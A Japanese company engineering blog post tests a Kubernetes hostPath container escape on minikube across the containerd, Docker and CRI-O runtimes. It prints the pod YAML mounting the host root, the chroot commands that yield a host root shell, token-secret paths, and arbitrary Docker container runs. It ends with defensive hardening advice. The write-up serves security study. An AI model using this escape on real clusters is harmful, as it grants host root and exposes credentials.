仮想化通信

日本仮想化技術株式会社の公式エンジニアブログ

KubernetesのHostpathを使ったホストシェルへの侵入

ちょっと前に、こんな記事を見つけました。

blog.appsecco.com

特定のKubernetesネームスペースに書き換えの権限を持つアカウントを使い、hostpathマウントを使うことでホストのシェルに侵入できるという報告になっています。

その後編は、Pod security Policyを使って保護する方法が解説されています。

blog.appsecco.com

以前、何もセキュリティを考慮せずに構築したKubernetesクラスターで、シェルの侵入とroot権限を使った操作ができるといった話はしたことがありましたが、専用のユーザーを作って特定のNamespaceのアクセスだけ許されたユーザーがHostpathを悪用してroot権限とシェルへのアクセスを可能としてしまうのはちょっとびっくりしました。

ちなみに、以下でこの問題を試した場合の実際の動きを確認できます。

Kubernetes Namespace Break-out using hostPath Volume Mountasciinema.org

そもそもHostpathの件ってランタイムと違いによってできる、できないはあるのか疑問に思い、Minikubeで試してみることにしました。

利用するYAMLファイル

各環境では次のようなYANLファイルを使うことにします。 今回はNamespaceについては考慮していません。

$ cat volume-warudakumi.yaml
apiVersion: v1
kind: Pod
metadata:
  name: pv-waru
  namespace: default
spec:
  restartPolicy: Never
  volumes:
  - name: vol
    hostPath:
      path: /
  containers:
  - name: pv-waru
    image: "k8s.gcr.io/busybox"
    tty: true
    volumeMounts:
    - name: vol
      mountPath: /rootfs

containerdで試す

まずはコンテナランタイムとしてcontainerdを使う構成で試してみます。バージョンはK8s 1.20.4、minikubeは1.17.1を使っています。

$ minikube start --container-runtime=containerd --cni=flannel --kubernetes-version=v1.20.4
$ kubectl create -f volume-warudakumi.yaml
$ kubectl exec -it pv-waru -- sh

コンテナーの中で次のように実行すると、シェルが変わったのが分かります。

/ # chroot /rootfs
bash-5.0# 

ホストのシェルにいるため、ホスト上に存在する様々なファイルを見ることができるだけでなく、

bash-5.0# df -h|grep secret
tmpfs           1.9G   12K  1.9G   1% /var/lib/kubelet/pods/415dcb59-bcc2-4f68-8ebb-05912cccd4b1/volumes/kubernetes.io~secret/storage-provisioner-token-9scxp
tmpfs           1.9G   12K  1.9G   1% /var/lib/kubelet/pods/90d56527-5a60-43ed-9202-af62ae7b39ec/volumes/kubernetes.io~secret/flannel-token-bl9zq
tmpfs           1.9G   12K  1.9G   1% /var/lib/kubelet/pods/6a065ade-e4c3-4379-9b38-df1ccbe1bb4e/volumes/kubernetes.io~secret/coredns-token-xxbxw
tmpfs           1.9G   12K  1.9G   1% /var/lib/kubelet/pods/e69d341d-e7d1-423f-8207-a2c9679e1fec/volumes/kubernetes.io~secret/kube-proxy-token-6d9gd
tmpfs           1.9G   12K  1.9G   1% /var/lib/kubelet/pods/d8abd4bf-b796-474c-bdad-a1f088bfd884/volumes/kubernetes.io~secret/default-token-6r8sq

ファイルの作成、書き込み、書き換えも可能です。

bash-5.0# echo "hogehoge" > /root/huga

先ほど作ったファイルの権限を確認してみます。

$ minikube ssh

root権限でファイルが作られています。

$ ls -l /root 
-rw-r--r-- 1 root root 9 Mar  2 00:49 huga
$ cat huga 
hogehoge

cri-toolsでコンテナを起動するを参考に、cri-toolsを使ってPodを作ってみます。

bash-5.0# cat busybox-pod.json
{
  "metadata": {
    "name": "busybox",
    "namespace": "default",
    "attempt": 1,
    "uid": "hdishd83djaidwnduwk28bcsb"
  },
  "log_directory": "/tmp",
  "linux": {
  }
}

パーミッションエラーでうまく作れませんでした(=セキュリティ的には正しい動き)。 うまくいかなくて安心しました。

bash-5.0# crictl runp busybox-pod.json
sudo: setrlimit(RLIMIT_CORE): Operation not permitted
ec5c017da9a319c8a19b0bca558af50c395d469f7b9f859c0f4c326e86eec2d7

とりあえず、この環境は一旦削除します。

# minikube delete

Dockerで試す

次にコンテナランタイムとしてDockerを使う構成で試してみます。条件は一緒です。

$ minikube start --container-runtime=docker --cni=flannel --kubernetes-version=v1.20.4
$ kubectl create -f volume-warudakumi.yaml
$ kubectl exec -it pv-waru -- chroot /rootfs

シェルに入れてしまうのはcontaierdと一緒です(Dockerはcontainerdをバックエンドに使っているため)。

bash-5.0# 
bash-5.0# df -h|grep secret
tmpfs           1.9G   12K  1.9G   1% /var/lib/kubelet/pods/73b43532-20fe-4598-b827-27ae8df2b035/volumes/kubernetes.io~secret/flannel-token-z76vs
tmpfs           1.9G   12K  1.9G   1% /var/lib/kubelet/pods/a00eb93e-0977-42db-a220-3eeef4f1798a/volumes/kubernetes.io~secret/coredns-token-4w6jn
tmpfs           1.9G   12K  1.9G   1% /var/lib/kubelet/pods/fb95d7b2-aaf9-43c0-a909-dd39a4da7822/volumes/kubernetes.io~secret/storage-provisioner-token-bfmrb
tmpfs           1.9G   12K  1.9G   1% /var/lib/kubelet/pods/eb44bb27-e50c-4081-97c4-a31c79cd59b6/volumes/kubernetes.io~secret/kube-proxy-token-nv2fk
tmpfs           1.9G   12K  1.9G   1% /var/lib/kubelet/pods/21b6c07d-e1fa-44b1-9c4e-f1e207d5d324/volumes/kubernetes.io~secret/default-token-mg8gm

crictlツールはやっぱり使えないのですが、dockerコマンドは問題なく実行できてしまいます。何も設定しないとrootユーザーで動いてしまうためです。

bash-5.0# docker image ls
REPOSITORY                                TAG             IMAGE ID       CREATED         SIZE
k8s.gcr.io/kube-proxy                     v1.20.4         c29e6c583067   11 days ago     118MB
k8s.gcr.io/kube-apiserver                 v1.20.4         ae5eb22e4a9d   11 days ago     122MB
k8s.gcr.io/kube-controller-manager        v1.20.4         0a41a1414c53   11 days ago     116MB
k8s.gcr.io/kube-scheduler                 v1.20.4         5f8cb769bd73   11 days ago     47.3MB
kubernetesui/dashboard                    v2.1.0          9a07b5b4bfac   2 months ago    226MB
gcr.io/k8s-minikube/storage-provisioner   v4              85069258b98a   3 months ago    29.7MB
k8s.gcr.io/etcd                           3.4.13-0        0369cf4303ff   6 months ago    253MB
k8s.gcr.io/coredns                        1.7.0           bfe3a36ebd25   8 months ago    45.2MB
kubernetesui/metrics-scraper              v1.0.4          86262685d9ab   11 months ago   36.9MB
quay.io/coreos/flannel                    v0.12.0-amd64   4e9f801d2217   11 months ago   52.8MB
k8s.gcr.io/pause                          3.2             80d28bedfe5d   12 months ago   683kB
k8s.gcr.io/busybox                        latest          e7d168d7db45   6 years ago     2.43MB

Dockerランタイムで同様のことをすると、シェルに侵入してdocker container runコマンドを実行できてしまいました。 実験に使ったイメージはただのbusyboxシェルですが、不正なイメージを使って不正なコンテナーを実行できてしまいます。

bash-5.0# docker container run --name=smile -it k8s.gcr.io/busybox sh
/ # 

CRI-Oで試す

同じことをCRI-Oで試すと、chrootの段階でパーミッションエラーになりました。 CRI-OはデフォルトでLinux capabilitiesの設定がDockerやcontainerdよりも最小限になっているため、CRI側のセキュリティ機能でブロックされるということのようです。

$ minikube start --container-runtime=cri-o --cni=flannel --kubernetes-version=v1.20.4
$ kubectl create -f volume-warudakumi.yaml
$ kubectl exec -it pv-waru -- sh
/ # chroot /rootfs
chroot: can't change root directory to '/rootfs': Operation not permitted

逆に言えば、containerdで同じようにLinux capabilitiesの設定を行えばいいということなのかもしれません。

まとめ

  • Dockerをランタイムとして使うのはやめた方が良いと思った。
  • Pod Secirty Policyでhostpathは使用できないように設定する。その他、必要以上に権限を渡さないようにする。
  • ランタイム側でseccomp profileを指定したり、Linux Capabilitiesを適切に設定するといいかもしれない。
  • CRI-Oをコンテナランタイムとして使うのは良い気がする(それとともにPod Secirty Policyも適切に設定して多重防御)。